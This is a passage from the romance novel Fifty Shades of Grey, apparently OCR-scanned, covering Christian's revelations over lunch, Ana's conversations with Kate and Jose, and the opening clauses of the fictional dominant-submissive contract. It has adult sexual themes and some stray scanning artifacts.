+“Yes.” + +My cell phone starts ringing. Kate, I bet. + +“Excuse me.” It’s in the kitchen. I wander over and lean across the breakfast bar, not +checking the number. + +“Kate.” + + +“Dios mio! Ana!” Holy crap, it’s Jose. He sounds desperate. “Where are you? I’ve +been trying to contact you. I need to see you, to apologize for my behavior on Friday. Why +haven’t you returned my calls?” + +“Look Jose, now’s not a good time.” I glance anxiously over at Christian who’s watch- +ing me intently, his face impassive as he murmurs something to his mom. I turn my back +to him. + +“Where are you? Kate is being so evasive,” he whines. + +“I’m in Seattle.” + +“What are you doing in Seattle? Are you with him?” + +“Jose, I’ll call you later. I can’t talk to you now.” I hang up. + +I walk as nonchalantly back to Christian and his mother. Grace is in full flow. + +“... And Elliot called to say you were around - I haven’t seen you for two weeks, +darling.” + +“Did he now?” Christian murmurs, gazing at me, his expression unreadable. + +“I thought we might have lunch together, but I can see you have other plans, and I don’t +want to interrupt your day.” She gathers up her long cream coat and turns to him, offering +him her cheek. He kisses her briefly, sweetly. She doesn’t touch him. + +“I have to drive Anastasia back to Portland.” + +“Of course, darling. Anastasia, it’s been such a pleasure. I do hope we meet again.” + +She holds her hand out to me, her eyes glowing, and we shake. + +Taylor appears from. . . where? + +“Mrs. Grey?” he asks. + +“Thank you, Taylor.” He escorts her from the room and through the double doors to the +foyer. Taylor was here the whole time? How long has he been here? Where has he been? +Christian glares at me. + +“So the photographer called?” + +Crap. + +“Yes.” + +“What did he want?” + +“Just to apologize, you know - for Friday.” + +Christian narrows his eyes. + +“I see,” he says simply. + +Taylor reappears. + +“Mr. Grey, there’s an issue with the Darfur shipment.” + +Christian nods curtly at him. + +“Charlie Tango back at Boeing Field?” + +“Yes sir.” + +Taylor nods at me. + +“Miss Steele.” + +I smile tentatively back at him, and he turns and leaves. + +“Does he live here? Taylor?” + +“Yes.” His tone is clipped. What is his problem? + +Christian heads over to the kitchen and picks up his BlackBerry, scrolling through +some emails, I assume. His mouth presses in a hard line, and he makes a call. + + +“Ros, what’s the issue?” he snaps. He listens, watching me, gray eyes speculative, as +I stand in the middle of the huge room wondering what to do with myself, feeling extraor- +dinarily self-conscious and out of place. + +“I’m not having either crew put at risk. No, cancel... We’ll air drop instead... Good.” + +He hangs up. The warmth in his eyes has disappeared. He looks forbidding, and with one +quick glance at me, he heads into his study and returns a moment later. + +“This is the contract. Read it, and we’ll discuss it next weekend. May I suggest you do +some research, so you know what’s involved.” He pauses. “That’s if you agree, and I really +hope you do.” He adds, his tone softer, anxious. + +“Research?” + +“You’ll be amazed what you can find on the Internet,” he murmurs. + +Internet! I don’t have access to a computer, only Kate’s laptop, and I couldn’t use Clay +ton’s, not for this sort of ‘research’ surely? + +“What is it?” he asks, cocking his head to one side. + +“I don’t have a computer. I’ll see if I can use Kate’s laptop.” + +He hands me a manila envelope. + +“I’m sure I can . . . err, lend you one. Grab your things, we’ll drive back to Portland and +grab some lunch on the way. I need to dress.” + +“I’ll just make a call,” I murmur. I just want to hear Kate’s voice. He frowns. + +“The photographer?” His jaw clenches, and his eyes burn. I blink at him. “I don’t like +to share, Miss Steele. Remember that.” His quiet, chilling tone is a warning, and with one +long, cold look at me, he heads back to the bedroom. + +Holy crap. I just wanted to call Kate, I want to call after him, but his sudden aloofness +has left me paralyzed. What happened to the generous, relaxed, smiling man who was +making love to me not half an hour ago? + + +“Ready?” Christian asks as we stand by the double doors to the foyer. + +I nod uncertainly. He’s resumed his distant, polite, uptight persona, his mask back up +and on show. He’s carrying a leather messenger bag. Why does he need that? Perhaps he +staying in Portland, and then I remember graduation. Oh yes... he’ll be there on Thursday. +He’s wearing a black leather jacket. He certainly doesn’t look like the multi-multi million- +aire, billionaire, what-ever-aire, in these clothes. He looks like a boy from the wrong side +of the tracks, maybe a badly behaved rock star or a catwalk model. I sigh inwardly, wish- +ing I had a tenth of his poise. He’s so calm and controlled. I frown, recalling his outburst +about Jose... Well, he seems to be. + +Taylor is hovering in the background. + +“Tomorrow then,” he says to Taylor who nods. + +“Yes sir. Which car are you taking, sir?” + +He looks down at me briefly. + +“The R8.” + +“Safe trip, Mr. Grey. Miss Steele.” Taylor looks kindly at me, though perhaps there’s +a hint of pity hidden in the depths of his eyes. + +No doubt he thinks I’ve succumbed to Mr. Grey’s dubious sexual habits. Not yet, +just his exceptional sexual habits, or perhaps sex is like that for everyone. I frown at the + + +thought. I have no comparison, and I can’t ask Kate. That’s something I am going to have +to address with Christian. It’s perfectly natural that I should talk to someone - and I can’t +talk to him if he is so open one minute and so standoffish the next. + +Taylor holds the door open for us and ushers us through. Christian summons the eleva- +tor. + +“What is it, Anastasia?” he asks. How does he know I’m chewing something over in +my mind? He reaches up and pulls my chin. + +“Stop biting your lip, or I will fuck you in the elevator, and I don’t care who gets in +with us.” + +I blush, but there’s a hint of a smile around his lips, finally his mood seems to be shift- +ing. + +“Christian, I have a problem.” + +“Oh?” I have his full attention. + +The elevator arrives. We walk in, and Christian presses the button marked G. + +“Well,” I flush. How to say this? “I need to talk to Kate. I’ve so many questions about +sex, and you’re too involved. If you want me to do all these things, how do I know-?” I +pause, struggling to find the right words. “I just don’t have any terms of reference.” + +He rolls his eyes at me. + +“Talk to her if you must.” He sounds exasperated. “Make sure she doesn’t mention +anything to Elliot.” + +I bristle at his insinuation. Kate isn’t like that. + +“She wouldn’t do that, and I wouldn’t tell you anything she tells me about Elliot - if +she were to tell me anything,” I add quickly. + +“Well, the difference is that I don’t want to know about his sex life,” Christian mur- +murs dryly. “Elliot’s a nosy bastard. But only about what we’ve done so far,” he warns. + +“She’d probably have my balls if she knew what I wanted to do to you,” he adds so softly +I’m not sure I’m supposed to hear it. + +“Okay,” I agree readily, smiling up at him, relieved. The thought of Kate with Chris- +tian’s balls is not something I want to dwell on. + +His lip quirks up at me, and he shakes his head. + +“The sooner I have your submission the better, and we can stop all this,” he murmurs. + +“Stop all what?” + +“You, defying me.” He reaches down and cups my chin and plants a swift, sweet kiss +on my lips as the doors to the elevator open. He grabs my hand and leads me into the un- +derground garage. + +Me, defying him... how? + +Beside the elevator, I can see the black 4x4 Audi, but it’s the sleek, black sporty num- +ber that blips open and lights up when he points the key fob at it. It’s one of those cars that +should have a very leggy blonde, wearing nothing but a sash, sprawled across the hood. + +“Nice car,” I murmur dryly. + +He glances up and grins. + +“I know,” he says, and for a split second, sweet, young, carefree Christian is back. It +warms my heart. He’s so excited. Boys and their toys. I roll my eyes at him but can’t stifle + + +my smile. He opens the door for me and I climb in. Whoa. . . it’s low. He moves round the +car with easy grace and folds his long frame elegantly in beside me. How does he do that? + +“So what sort of car is this?” + +“It’s an Audi R8 Spyder. It’s a lovely day, we can take the top down. There’s a baseball +cap in there. In fact there should be two.” He points to the glove box. “And sunglasses if +you want them.” + +He starts the ignition, and the engine roars behind us. He places his bag in the space +behind our seats, presses a button, and the roof slowly reclines. With the flick of a switch, +Bruce Springsteen surrounds us. + +“Gotta love Bruce,” he grins at me and eases the car out of the parking space, and up +the steep ramp where we pause for the barrier. + +Then we’re out into the bright Seattle May morning. I reach into the glove box and +retrieve the baseball caps. The Mariners. He likes baseball? I pass him a cap, and he puts +it on. I pass my ponytail through the back of mine and pull the peak down low. + +People stare at us as we drive through the streets. For a moment, I think it’s at him... +and then a very paranoid part thinks everyone is looking at me because they know what +I’ve been doing during the last twelve hours, but finally, I realize it’s the car. Christian +seems oblivious, lost in thought. + +The traffic is light and we’re soon on the 1-5 heading south, the wind sweeping over +our heads. Bruce is singing about being on fire and his desire. How apt. I flush as I listen +to the words. Christian glances at me. He’s got his Ray-Bans on so I can’t see what he’s +thinking. His mouth twitches slightly, and he reaches across and places his hand on my +knee, squeezing gently. My breath hitches. + +“Hungry?” he asks. + +Not for food. + +“Not particularly.” + +His mouth tightens into that hard line. + +“You must eat, Anastasia,” he chides. “I know a great place near Olympia. We’ll stop +there.” He squeezes my knee again, and then returns his hand to the steering wheel as he +puts his foot down on the gas. I’m pressed into the back of my seat. Boy this car can move. + + +The restaurant is small and intimate, a wooden chalet in the middle of a forest. The +decor is rustic: random chairs and tables with gingham tablecloths, wild flowers in little +vases. Cuisine Sauvage, it boasts above the door. + +“I’ve not been here for a while. We don’t get a choice - they cook whatever they’ve +caught or gathered.” He raises his eyebrows in mock horror, and I have to laugh. The +waitress takes our drinks order. She flushes when she sees Christian, avoiding eye contact +with him, hiding under her long blonde bangs. She likes him! It’s not just me! + +“Two glasses of the Pinot Grigio,” Christian says with a voice of authority. I purse my +lips, exasperated. + +“What?” he snaps. + +“I wanted a Diet Coke,” I whisper. + +His gray eyes narrow, and he shakes his head. + + +“The Pinot Grigio here’s a decent wine, it will go well with the meal, whatever we get.” +He says patiently. + +“Whatever we get?” + +“Yes.” He smiles, his dazzling, head cocked to one side smile, and my stomach pole +vaults over my spleen. I can’t help but reflect his glorious smile back at him. + +“My mother liked you,” he says dryly. + +“Really?” His words make me flush with pleasure. + +“Oh yes. She’s always thought I was gay.” + +My mouth drops open, and I remember that question... from the interview. Oh no. + +“Why did she think you were gay?” I whisper. + +“Because she’s never seen me with a girl.” + +“Oh... not even one of the fifteen?” + +He smiles. + +“You remembered. No, none of the fifteen.” + +“Oh.” + +“You know, Anastasia, it’s been a weekend of firsts for me, too,” he says quietly. + +“It has?” + +“I’ve never slept with anyone, never had sex in my bed, never flown a girl in Charlie +Tango, never introduced a woman to my mother. What are you doing to me?” His eyes +burn, their intensity takes my breath away. + +The waitress arrives with our glasses of wine, and I immediately take a quick sip. Is +he opening up or just making a casual observation? + +“I’ve really enjoyed this weekend,” I murmur. He narrows his eyes at me again. + +“Stop biting that lip,” he growls. “Me too,” he adds. + +“What’s vanilla sex?” I ask, if anything to distract myself from the intense, burning, +sexy look he’s giving me. He laughs. + +“Just straightforward sex, Anastasia. No toys, no added extras.” He shrugs. “You +know... well actually you don’t, but that’s what it means.” + +“Oh.” I thought it was chocolate fudge brownie sex that we had, with a cherry on the +top. But hey, what do I know? + +The waitress brings us soup. We both stare at it rather dubiously. + +“Nettle soup,” the waitress informs us before turning and flouncing back into the kitch- +en. I don’t think she likes to be ignored by Christian. I take a tentative taste. It’s delicious. +Christian and I look up at each other at the same time with relief. I giggle, and he cocks +his head to one side. + +“That’s a lovely sound,” he murmurs. + +“Why have you never had vanilla sex before? Have you always done... err, what +you’ve done?” I ask, intrigued. + +He nods slowly. + +“Sort of.” His voice is wary. He frowns for a moment and seems to be engaged in +some kind of internal struggle. Then he glances up, a decision made. “One of my mother’s +friends seduced me when I was fifteen.” + +“Oh.” Holy shit that’s young! + +“She had very particular tastes. I was her submissive for six years.” He shrugs. + + +“Oh.” My brain has frozen, stunned into inactivity by this admission. + +“So I do know what it involves, Anastasia.” His eyes glow with insight. + +I stare at him, unable to articulate anything - even my subconscious is silent. + +“I didn’t really have a run-of-the-mill introduction to sex.” + +Curiosity kicks in big time. + +“So you never dated anyone at college?” + +“No.” He shakes his head to emphasize the point. + +The waitress takes our plates, interrupting us for a moment. + +“Why?” I ask when she’s gone. + +He smiles sardonically. + +“Do you really want to know?” + +“Yes.” + +“I didn’t want to. She was all I wanted, needed. And besides, she’d have beaten the +shit out of me.” He smiles fondly at the memory. + +Oh, this is way too much information - but I want more. + +“So if she was a friend of your mother’s, how old was she?” + +He smirks. + +“Old enough to know better.” + +“Do you still see her?” + +“Yes.” + +“Do you still... err... ?” I flush. + +“No.” He shakes his head and smiles indulgently at me. “She’s a very good friend.” + +“Oh. Does your mother know?” + +He gives me a don’t-be-stupid stare. + +“Of course not.” + +The waitress returns with venison, but my appetite has vanished. What a revelation. +Christian the submissive... Holy shit. I take a large slug of Pinot Grigio - he’s right, of +course, it’s delicious. Jeez, all these revelations, it’s so much to think about. I need time +to process this, when I’m on my own, not when I’m distracted by his presence. He’s so +overwhelming, so Alpha Male, and now he’s thrown this bombshell into the equation. He +knows what it’s like. + +“But it can’t have been full time?” I’m confused. + +“Well, it was, though I didn’t see her all the time. It was... difficult. After all, I was +still at school and then at college. Eat up, Anastasia.” + +“I’m really not hungry, Christian.” I am reeling from your disclosure. + +His expression hardens. + +“Eat,” he says quietly, too quietly. + +I stare at him. This man - sexually abused as an adolescent - his tone is so threatening. +“Give me a moment,” I mutter quietly. He blinks a couple of times. + +“Okay,” he murmurs, and he continues with his meal. + +This is what it will be like if I sign, him ordering me around. I frown. Do I want this? +Reaching for my knife and fork, I tentatively cut into the venison. It’s very tasty. + +“Is this what our err. . . relationship will be like?” I whisper. “You, ordering me +around?” I can’t quite bring myself to look at him. + + +“Yes,” he murmurs. + +ii | _ _ _ jj + +I see. + +“And what’s more, you’ll want me to,” he adds, his voice low. + +I sincerely doubt that. I slice another piece of venison, holding it against my mouth. + +“It’s a big step,” I murmur and eat. + +“It is.” He closes his eyes briefly. When he opens them, they are wide and grave. +“Anastasia, you have to go with your gut. Do the research, read the contract - I’m happy +to discuss any aspect. I’ll be in Portland until Friday if you want to talk about it before +then.” His words are coming at me in a rush. “Call me - maybe we can have dinner - say, +Wednesday? I really want to make this work. In fact, I’ve never wanted anything as much +as I want this to work.” + +His burning sincerity, his longing, is reflected in his eyes. This is fundamentally what I +don’t grasp. Why me? Why not one of the fifteen? Oh no. . . Will that be me - a number? +Sixteen of many? + +“What happened to the fifteen?” I blurt. + +He raises his eyebrows in surprise, then looks resigned, shaking his head. + +“Various things, but it boils down to,” he pauses, struggling to find the words I think. +“Incompatibility.” He shrugs. + +“And you think that I might be compatible with you?” + +“Yes.” + +“So you’re not seeing any of them anymore?” + +“No, Anastasia, I’m not. I am monogamous in my relationships.” + +Oh... this is news. + +I see. + +“Do the research, Anastasia.” + +I put my knife and fork down. I cannot eat any more. + +“That’s it? That’s all you’re going to eat?” + +I nod. He scowls at me but chooses not to say anything. I breathe a small sigh of relief. +My stomach is churning with all this new information, and I’m feeling a little lightheaded +from the wine. I watch as he devours everything on his plate. He eats like a horse. He +must work out to stay in such great shape. The memory of the way his PJ’s hung from his +hips comes unbidden to my mind. The image is totally distracting. I squirm uncomfort- +ably. He glances up at me, and I blush. + +“I’d give anything to know what you’re thinking right at this moment,” he murmurs. + +I blush further. + +He smiles a wicked smile at me. + +“I can guess,” he teases softly. + +“I’m glad you can’t read my mind.” + +“Your mind, no, Anastasia, but your body - that I’ve got to know quite well since +yesterday.” His voice is suggestive. How does he switch so quickly from one mood to the +next? He’s so mercurial... It’s hard to keep up. + +He motions for the waitress and asks for the check. Once he’s paid, he stands and holds +out his hand. + + +“Come.” Taking my hand in his, he leads me back to the car. This contact, flesh to +flesh, it’s what is so unexpected from him, normal, intimate. I can’t reconcile this ordinary, +tender gesture with what he wants to do in that room... The Red Room of Pain. + +We are quiet on the drive from Olympia to Vancouver, both lost in our own thoughts. +When he parks outside my apartment, it’s five in the evening. The lights are on - Kate is +at home. Packing, no doubt, unless Elliot is still there. He switches off the engine, and I +realize I’m going to have to leave him. + +“Do you want to come in?” I ask. I don’t want him to go. I want to prolong our time +together. + +“No. I have work to do,” he says simply, gazing at me, his expression unfathomable. + +I stare down at my hands, as I knot my fingers together. Suddenly I feel emotional. +He’s leaving. Reaching over, he takes one of my hands and slowly pulls it to his mouth, +tenderly kissing the back of my hand, such an old fashioned, sweet gesture. My heart leaps +into my mouth. + +“Thank you for this weekend, Anastasia. It’s been... the best. Wednesday? I’ll pick +you up from work, from wherever?” he says softly. + +“Wednesday,” I whisper. + +He kisses my hand again and places it back in my lap. He climbs out, comes round to +my side, and opens the passenger door. Why do I feel suddenly bereft? A lump forms in +my throat. I must not let him see me like this. Fixing a smile on my face, I clamber out of +the car and head up the path, knowing I have to face Kate, dreading facing Kate. I turn and +gaze at him midway. Chin up Steele, I chide myself. + +“Oh... by the way, I’m wearing your underwear.” I give him a small smile and pull up +the waistband of the boxer briefs I’m wearing so he can see. Christian’s mouth drops open, +shocked. What a great reaction. My mood shifts immediately, and I sashay into the house, +part of me wanting to jump and punch the air. YES! My inner goddess is thrilled. + +Kate is in the living area packing up her books into crates. + +“You’re back. Where’s Christian? How are you?” Her voice is fevered, anxious, and +she bounds up to me, grabbing my shoulders, minutely analyzing my face before I’ve even +said hello. + +Crap... I have to deal with Kate’s persistence and tenacity, and I’m in possession of a +legal signed document saying I can’t talk. It’s not a healthy mix. + +“Well how was it? I couldn’t stop thinking about you, after Elliot left, that is.” She +grins mischievously. + +I can’t help but smile at her concern and her burning curiosity, but suddenly I feel shy. + +I blush. It was very private. All of it. Seeing and knowing what Christian has to hide. But +I have to give her some details, because she won’t leave me alone until I do. + +“It was good, Kate. Very good, I think,” I say quietly, trying to hide my embarrassed +tell-all smile. + +“You think?” + +“I’ve got nothing to compare it to, do I?” I shrug apologetically. + +“Did he make you come?” + +Holy crap. She’s so blunt. I go scarlet. + +“Yes,” I mumble, exasperated. + + +Kate pulls me to the couch and we sit. She clasps my hands. + +“That is good.” Kate looks at me in disbelief. “It was your first time. Wow, Christian +must really know what he’s doing.” + +Oh Kate, if only you knew. + +“My first time was horrid,” she continues, making a sad comedy face. + +“Oh?” This has me interested, something she’s never divulged before. + +“Yes, Steve Paton. High school, dickless jock.” She shudders. “He was rough. I +wasn’t ready. We were both drunk. You know - typical teenage post-prom disaster. Ugh +- it took me months before I decided to have another go. And not with him, the gutless +wonder. I was too young. You were right to wait.” + +“Kate, that sounds awful.” + +Kate looks wistful. + +“Yeah, took almost a year to have my first orgasm through penetrative sex and here +you are... first time?” + +I nod shyly. My inner goddess sits in the lotus position looking serene except for the +sly, self-congratulatory smile on her face. + +“I’m glad you lost it to someone who knows their ass from their elbow.” She winks at +me. “So when are you seeing him again?” + +“Wednesday. We’re having dinner.” + +“So you still like him?” + +“Yes. But I don’t know about... the future.” + +“Why?” + +“He’s complicated, Kate. You know - he inhabits a very different world to mine.” +Great excuse. Believable too. Much better than - he’s got a Red Room of Pain, and he +wants to make me his sex slave. + +“Oh please, don’t let this be about money, Ana. Elliot said it’s very unusual for Chris- +tian to date anyone.” + +“Did he?” My voice hitches up several octaves. + +Too obvious, Steele! My subconscious glares at me, wagging her long skinny finger, +then morphs into the scales of justice to remind me he could sue if I disclose too much. +Ha. . . what’s he going to do - take all my money? I must remember to Google ‘penalties +for breaching a non-disclosure agreement’ while I’m doing the rest of my ‘research’. It’s +like I’ve been given a school assignment. Maybe I’ll be graded. I flush, remembering my +A for this morning’s bath experiment. + +“Ana, what is it?” + +“I’m just remembering something Christian said.” + +“You look different,” Kate says fondly. + +“I feel different. Sore,” I confess. + +“Sore?” + +“A little.” I flush. + +“Me too. Men,” she says in mock disgust. “They’re animals.” We both laugh. + +“You’re sore?” I exclaim. + +“Yes... overuse.” + +I giggle. + + +“Tell me about Elliot the over-user,” I ask when I’ve stopped giggling. Oh, I can feel +myself relaxing for the first time since I was in line at the bar... before the phone call that +started all this - when I was admiring Mr. Grey from afar. Happy uncomplicated days. + +Kate blushes. Oh my... Katherine Agnes Kavanagh goes all Anastasia Rose Steele on +me. She gives me a dewy-eyed look. I’ve never seen her react this way to a man before. + +My jaw drops to the floor. Where’s Kate, what have you done with her? + +“Oh, Ana,” she gushes. “He’s just so... Everything. And when we... oh... really +good.” She can hardly string a sentence together she’s got it so bad. + +“I think you’re trying to tell me that you like him.” + +She nods, grinning like a lunatic. + +“And I’m seeing him on Saturday. He’s going to help us move.” She clasps her hands +together, leaps up off the couch, and pirouettes to the window. Moving. Crap - I’d forgot- +ten all about that, even with the packing cases surrounding us. + +“That’s helpful of him,” I say appreciatively. I can get to know him too. Perhaps he +can give me more insight into his strange, disturbing brother. + +“So what did you do last night?” I ask. She cocks her head at me and raises her eye- +brows in a what-do-think-stupid-look. + +“Pretty much what you did, though we had dinner first.” She grins at me. “Are you +okay really? You look kind of overwhelmed.” + +“I feel overwhelmed. Christian is very intense.” + +“Yeah, I could see how he could be. But he was good to you?” + +“Yes,” I reassure her. “I’m really hungry, shall I cook?” + +She nods and picks up two more books to pack. + +“What do you want to do with the fourteen thousand dollar books?” she asks. + +“I’m going to return them to him.” + +“Really?” + +“It’s a completely over-the-top gift. I can’t accept it, especially now.” I grin at Kate, +and she nods. + +“I understand. A couple of letters came for you, and Jose has been calling every hour +on the hour. He sounded desperate.” + +“I’ll call him,” I mutter evasively. If I tell Kate about Jose, she’ll have him for break- +fast. I collect the letters from the dining table and open them. + +“Hey, I have interviews! The week after next, in Seattle, for intern placements!” + +“For which publishing house?” + +“For both of them!” + +“I told you your GPA would open doors, Ana.” + +Kate, of course, already has an internship set up at the Seattle Times. Her father knows +someone, who knows someone. + +“How does Elliot feel about you going away?” I ask. + +Kate wanders into the kitchen, and for the first time this evening, she’s disconsolate. +“He’s understanding. Part of me doesn’t want to go, but it’s tempting to lie in the sun +for a couple of weeks. Besides, Mom is hanging in there, thinking this will be our last real +family holiday before Ethan and I head off into the world of paid employment.” + + +I have never left continental US. Kate is off to Barbados with her parents and her +brother Ethan for two whole weeks. I’ll be Kateless in our new apartment. That will be +weird. Ethan has been traveling the world since he graduated last year. I wonder briefly if +I’ll see him before they go on vacation. He’s such a lovely guy. The phone rings, jolting +me from my reverie. + +“That’ll be Jose.” + +I sigh. I know I have to talk to him. I grab the phone. + +“Hi.” + +“Ana, you’re back!” Jose shouts his relief at me. + +“Obviously.” Sarcasm drips from my voice, and I roll my eyes at the phone. + +He’s silent for a moment. + +“Can I see you? I’m sorry about Friday night. I was drunk... and you... well. Ana - +please forgive me.” + +“Of course, I forgive you Jose. Just don’t do it again. You know I don’t feel like that +about you.” + +He sighs heavily, sadly. + +“I know, Ana. I just thought, if I kissed you, it might change how you feel.” + +“Jose, I love you dearly, you mean so much to me. You’re like the brother I never had. +That’s not going to change. You know that.” I hate to let him down, but it’s the truth. + +“So you’re with him now?” His tone is full of disdain. + +“Jose, I’m not with anybody.” + +“But you spent the night with him.” + +“That’s none of your business!” + +“Is it the money?” + +“Jose! How dare you!” I shout, staggered by his audacity. + +“Ana,” he whines and apologizes simultaneously. I cannot deal with his petty jealousy +now. I know he’s hurt, but my plate is overflowing dealing with Christian Grey. + +“Maybe we can have a coffee or something tomorrow. I’ll call you.” I am conciliatory. + +He is my friend, and I’m very fond of him. But right now, I don’t need this. + +“Tomorrow then. You’ll call?” The hope in his voice twists my heart. + +“Yes... goodnight, Jose.” I hang up, not waiting for his response. + +“What was that all about?” Katherine demands, her hands on her hips. I decide hon- +esty is the policy. She’s looking more intractable than ever. + +“He made a pass at me on Friday.” + +“Jose? And Christian Grey? Ana, your pheromones must be working overtime. What +was the stupid fool thinking?” She shakes her head in disgust and returns to packing crates. + +Forty-five minutes later, we pause our packing for the house specialty, my lasagna. +Kate opens a bottle of wine, and we sit amongst the boxes eating, quaffing cheap red wine, +and watching crap TV. This is normality. It’s so grounding and welcome after the last +forty-eight hours of... madness. I eat my first unhurried, no nagging, peaceful meal in that +time. What is it about him and food? Kate clears the dishes, and I finish packing up the +living room. We are left with the couch, the TV, and the dining table. What more could +we need? Just the kitchen and our bedrooms left to pack up, and we have the rest of the +week. Result! + + +The phone rings again. It’s Elliot. Kate winks at me and skips off to her bedroom like +she’s fourteen. I know that she should be writing her Valedictorian speech, but it seems El- +liot is more important. What is it about the Grey men? What is it that makes them totally +distracting, all-consuming, and irresistible? I take another slug of wine. + +I flick through the TV channels, but deep down I know I’m procrastinating. Burning +a bright red hole in the side of my purse is that contract. Do I have the strength and the +wherewithal to read it tonight? + +I put my head in my hands. Jose and Christian, they both want something from me. +Jose is easy to deal with. But Christian... Christian takes a whole different league of han- +dling, of understanding. Part of me wants to run and hide. What am I going to do? His +burning gray eyes and that intense smoldering stare come into my mind’s eye, and my body +tightens at the thought. I gasp. He’s not even here, and I’m turned on. It just can’t be about +sex, can it? I recall his gentle banter this morning at breakfast, his joy at my delight with +the helicopter ride, him playing the piano - the sweet soulful oh-so-sad music. + +He’s such a complicated person. And now I have an insight as to why. A young man +deprived of his adolescence, sexually abused by some evil Mrs. Robinson figure... no +wonder he’s old before his time. My heart fills with sadness at the thought of what he must +have been through. I’m too naive to know exactly what, but the research should shed some +light. But do I really want to know? Do I want to explore this world I know nothing about? + +It’s such a big step. + +If I’d not met him, I’d still be sweetly and blissfully oblivious. My mind drifts to last +night, and this morning... and the incredible, sensual sexuality I’ve experienced. Do I +want to say goodbye to that? No! Screams my subconscious... my inner goddess nods in +silent zen-like agreement with her. + +Kate wanders back into the living room, grinning from ear to ear. Perhaps she’s in +love - I gape at her. She’s never behaved like this. + +“Ana, I’m off to bed. I’m pretty tired.” + +“Me too, Kate.” + +She hugs me. + +“I’m glad you’re back in one piece. There’s something about Christian,” she adds qui- +etly, apologetically. I give her a small, reassuring smile - all the while thinking... How the +hell does she know? This is what will make her a great journalist, her unfaltering intuition. + +Collecting my purse, I wander listlessly into my bedroom. I am weary from all our +carnal exertions of the last day and from the complete and utter dilemma that I’m faced +with. I sit on my bed and gingerly extract the manila envelope from the bag, turning it over +and over in my hands. Do I really want to know the extent of Christian’s depravity? It’s +so daunting. I take a deep breath, and with my heart in my throat, I rip open the envelope. + + +Chapter Eleven + + +There are several papers inside the envelope. I fish them out, my heart still pounding, and +I sit back on my bed and begin to read. + + +CONTRACT + +Made this day of 201 1 (“The Commencement Date”) + +BETWEEN + +MR. CHRISTIAN GREY of 301 Escala, Seattle, WA 98889 +(“The Dominant”) + +MISS ANASTASIA STEELE of 1 1 1 4 SW Green Street, Apartment 7, Haven Heights, +Vancouver, WA 98888 +(“The Submissive”) + +THE PARTIES AGREE AS FOLLOWS + +1 The following are the terms of a binding contract between the Dominant and the +Submissive. + +FUNDAMENTAL TERMS + +2 The fundamental purpose of this contract is to allow the Submissive to explore her +sensuality and her limits safely, with due respect and regard for her needs, her limits +and her wellbeing. + + +3 The Dominant and the Submissive agree and acknowledge that all that occurs under +the terms of this contract will be consensual, confidential, and subject to the agreed +limits and safety procedures set out in this contract. Additional limits and safety pro- +cedures may be agreed in writing. + +4 The Dominant and the Submissive each warrant that they suffer from no sexual, +serious, infectious or life-threatening illnesses including but not limited to HIV, Her- +pes and Hepatitis. If during the Term (as defined below) or any extended term of this +contract either party should be diagnosed with or become aware of any such illness he +or she undertakes to inform the other immediately and in any event prior to any form +of physical contact between the parties. + +5 Adherence to the above warranties, agreements and undertakings (and any addition- +al limits and safety procedures agreed under clause 3 above) are fundamental to this +contract. Any breach shall render it void with immediate effect and each party agrees +to be fully responsible to the other for the consequence of any breach. + +6 Everything in this contract must be read and interpreted in the light of the fundamen- +tal purpose and the fundamental terms set out in clauses 2-5 above. + +ROLES + +7 The Dominant shall take responsibility for the wellbeing and the proper training, +guidance, and discipline of the Submissive. He shall decide the nature of such train- +ing, guidance, and discipline and the time and place of its administration, subject to +the agreed terms, limitations and safety procedures set out in this contract or agreed +additionally under clause 3 above. + +8 If at any time the Dominant should fail to keep to the agreed terms, limitations and +safety procedures set out in this contract or agreed additionally under clause 3 above +the Submissive is entitled to terminate this contract forthwith and to leave the service +of the Dominant without notice. + +9 Subject to that proviso and to clauses 2-5 above the Submissive is to serve and obey +the Dominant in all things. Subject to the agreed terms, limitations and safety pro- +cedures set out in this contract or agreed additionally under clause 3 above she shall +without query or hesitation offer the Dominant such pleasure as he may require and +she shall accept without query or hesitation his training, guidance and discipline in +whatever form it may take. + +COMMENCEMENT AND TERM + +10 The Dominant and Submissive enter into this contract on The Commencement Date +fully aware of its nature and undertake to abide by its conditions without exception. + +1 1 This contract shall be effective for a period of three Calendar Months from The +Commencement Date (“The Term”). On the expiry of The Term the parties shall dis- +cuss whether this contract and the arrangements they have made under this contract are +satisfactory and whether the needs of each party have been met. Either party may pro- +pose the extension of this contract subject to adjustments to its terms, or to the arrange- +ments they have made under it. In the absence of agreement to such extension this +contract shall terminate and both parties shall be free to resume their lives separately. +AVAILABILITY + + +12 The Submissive will make herself available to the Dominant from Friday evenings +through to Sunday afternoons each week during the Term at times to be specified by +the Dominant (“the Allotted Times”). Further allocated time can be mutually agreed +on an ad hoc basis. + +13 The Dominant reserves the right to dismiss the Submissive from his service at any +time and for any reason. The Submissive may request her release at any time, such +request to be granted at the discretion of the Dominant subject only to the Submissive’s +rights under clauses 2-5 and 8 above. + +LOCATION + +14 The Submissive will make herself available during the Allotted Times and agreed +additional times at locations to be determined by the Dominant. The Dominant will +ensure that all travel costs incurred by the Submissive for that purpose are met by the +Dominant. + +SERVICE PROVISIONS + +15 The following service provisions have been discussed and agreed and will be ad- +hered to by both parties during the Term. Both parties accept that certain matters may +arise which are not covered by the terms of this contract or the service provisions, or +that certain matters may be renegotiated. In such circumstance further clauses may be +proposed by way of amendment. Any further clauses or amendments must be agreed, +documented and signed by both parties and shall be subject to the fundamental terms +set out at clauses 2-5 above. + +DOMINANT + +15.1 The Dominant shall make the Submissive’s health and safety a priority at all +times. The Dominant shall not at any time require, request, allow or demand the Sub- +missive to participate at the hands of the Dominant in the activities detailed in Ap- +pendix 2 or in any act that either party deems to be unsafe. The Dominant will not +undertake or permit to be undertaken any action which could cause serious injury or +any risk to the Submissive’s life. The remaining sub-clauses of this clause 15 are to be +read subject to this proviso and to the fundamental matters agreed in clauses 2-5 above. + +15.2 The Dominant accepts the Submissive as his, to own, control, dominate and dis- +cipline during the Term. The Dominant may use the Submissive’s body at any time +during the Allotted Times or any agreed additional times in any manner he deems fit, +sexually or otherwise. + +15.3 The Dominant shall provide the Submissive with all necessary training and guid- +ance in how to properly serve the Dominant. + +15.4 The Dominant shall maintain a stable and safe environment in which the Submis- +sive may perform her duties in service of the Dominant. + +15.5 The Dominant may discipline the Submissive as necessary to ensure the Sub- +missive fully appreciates her role of subservience to the Dominant and to discourage +unacceptable conduct. The Dominant may flog, spank, whip or corporally punish the +Submissive as he sees fit, for purposes of discipline, for his own personal enjoyment, +or for any other reason, which he is not obliged to provide. + + +15.6 In training and in the administration of discipline the Dominant shall ensure that +no permanent marks are made 